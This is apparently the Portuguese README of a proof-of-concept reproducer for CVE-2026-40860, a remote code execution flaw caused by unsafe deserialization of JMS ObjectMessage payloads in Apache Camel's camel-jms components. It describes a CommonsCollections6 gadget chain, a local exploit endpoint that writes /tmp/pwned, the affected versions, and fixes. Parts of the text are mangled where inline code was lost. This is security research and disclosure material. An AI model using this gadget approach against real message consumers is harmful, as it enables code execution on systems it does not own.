
Reprodutor para CVE-2026-40860 — desserialização insegura de JMS ObjectMessage do Apache Camel camel-jms/sjms/amqp (RCE)
Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-jms do Apache Camel
(e, transitivamente, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6),
registrada como CVE-2026-40860. O JmsBinding.extractBodyFromJms() desserializa o payload de uma
ObjectMessage JMS de entrada via ObjectMessage.getObject() , lista de permissões
ou lista de negação de classes. Como isso é executado sempre que (o padrão) e o Camel é um
JMS, um atacante capaz de publicar uma adulterada em uma fila/tópico consumido pode
alcançar quando uma cadeia de gadgets está no classpath.
ObjectInputFiltermapJmsMessage=trueObjectMessage| Propriedade | Valor |
|---|---|
| Componentes | camel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) |
| Classe Afetada | org.apache.camel.component.jms.JmsBinding#extractBodyFromJms → jakarta.jms.ObjectMessage#getObject() |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Impacto | Execução Remota de Código (RCE) |
| Gatilho | Consumidor JMS Camel + mapJmsMessage=true (padrão) + uma ObjectMessage que o atacante possa enfileirar |
| Versões Afetadas | De 3.0.0 até antes de 4.14.7, de 4.15.0 até antes de 4.18.2, de 4.19.0 até antes de 4.20.0 |
| Versões Corrigidas | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23321 |
| Relator | Venkatraman Kumar (Securin) |
// JmsBinding.extractBodyFromJms(Exchange, Message) - affected version
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject(); // <-- deserializes with no ObjectInputFilter
if (payload instanceof DefaultExchangeHolder holder) {
...
}
return payload;
}
O getObject() executa o ObjectInputStream.readObject() do provedor JMS sobre o corpo da mensagem. O Camel não adiciona
filtragem de classes própria, portanto uma cadeia de gadgets no classpath é executada durante a desserialização.
A correção (4.14.7 / 4.18.2 / 4.20.0) adiciona uma lista de permissões padrão ObjectInputFilter
(java.**;javax.**;org.apache.camel.**;!*), personalizável pela nova opção de endpoint deserializationFilter
ou pelo -Djdk.serialFilter da JVM. Observe a mensagem de commit do próprio Camel para a correção:
esta verificação é executada após o provedor JMS já ter desserializado o payload. Ela impede que classes inesperadas sejam propagadas para a rota, mas não consegue, por si só, impedir cadeias de gadgets cujo
readObject()é disparado dentro doObjectInputStreamdo provedor. A proteção completa exige configurar o filtro de desserialização do próprio provedor JMS e/ou o-Djdk.serialFilterda JVM.
Portanto, proteção completa = atualizar o Camel + restringir o filtro do provedor / da JVM. Este PoC usa um cliente ActiveMQ
com trustAllPackages=true (um cenário comum no mundo real) para que o provedor desserialize o payload;
em uma versão afetada do Camel, nada mais fica no caminho.
from("jms:queue:evil") // mapJmsMessage defaults to true
.log("Consumed: ${body.class.name}");
Apenas receber a ObjectMessage dispara a desserialização — o corpo da mensagem é irrelevante.
A vítima é o consumidor JMS do Camel. O atacante é qualquer produtor que possa publicar na fila. Ambos se comunicam com um broker real Apache ActiveMQ Artemis executado no Docker.
CVE-2026-40860/
├── pom.xml # camel-jms 4.18.1 + activemq-client 6.2.4 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens only to build the gadget)
├── docker-compose.yml # Artemis broker (quay.io) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── JmsConfig.java # OpenWire ConnectionFactory (trustAllPackages=true) + jms component
│ ├── VictimRoute.java # victim: from("jms:queue:evil")
│ ├── Gadget.java # CommonsCollections6 gadget, fires during getObject()
│ └── ExploitController.java # attacker: publishes ObjectMessage(gadget) to the queue
└── resources/
└── application.properties
Em um ataque real, os bytes serializados são produzidos offline pelo atacante (por exemplo, com ysoserial); apenas a vítima precisa da cadeia de gadgets no classpath. Este PoC constrói o gadget em processo por conveniência, por isso a JVM é executada com
--add-opens java.base/java.util=ALL-UNNAMED— um detalhe de construção do gadget, não relacionado à vulnerabilidade.
mvn clean package -DskipTests
docker compose up -d --build
Isso inicia um broker Artemis (quay.io/artemiscloud/activemq-artemis-broker) e o aplicativo reprodutor,
que se conecta a ele via OpenWire.
curl -s http://localhost:8080/exploit/attack
# -> ObjectMessage published to queue 'evil'.
# camel-jms consumer called ObjectMessage.getObject() -> deserialization.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40860 ls -la /tmp/pwned
docker compose down
Qualquer consumidor JMS do Camel (camel-jms, camel-sjms, camel-sjms2, camel-amqp, camel-activemq,
camel-activemq6) lendo de um destino no qual um atacante possa publicar — um broker compartilhado, um tópico com
produtores abertos, uma fila alimentada por upstream não confiável — com mapJmsMessage=true (o padrão).
mapJmsMessage=true (padrão).ObjectMessage no destino consumido.trustAllPackages=true, ou um provedor sem
um filtro restritivo).commons-collections:3.2.1).Atualize para 4.14.7 / 4.18.2 / 4.20.0, e restrinja a desserialização de ponta a ponta:
-Djdk.serialFilter=java.**;org.apache.camel.**;!* (ou a nova
opção deserializationFilter do endpoint).trustedPackages do ActiveMQ; não
use trustAllPackages=true).Até que a atualização seja feita:
ObjectMessage; defina mapJmsMessage=false quando a mensagem bruta for aceitável.trustAllPackages=true em destinos não confiáveis.-Djdk.serialFilter.Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.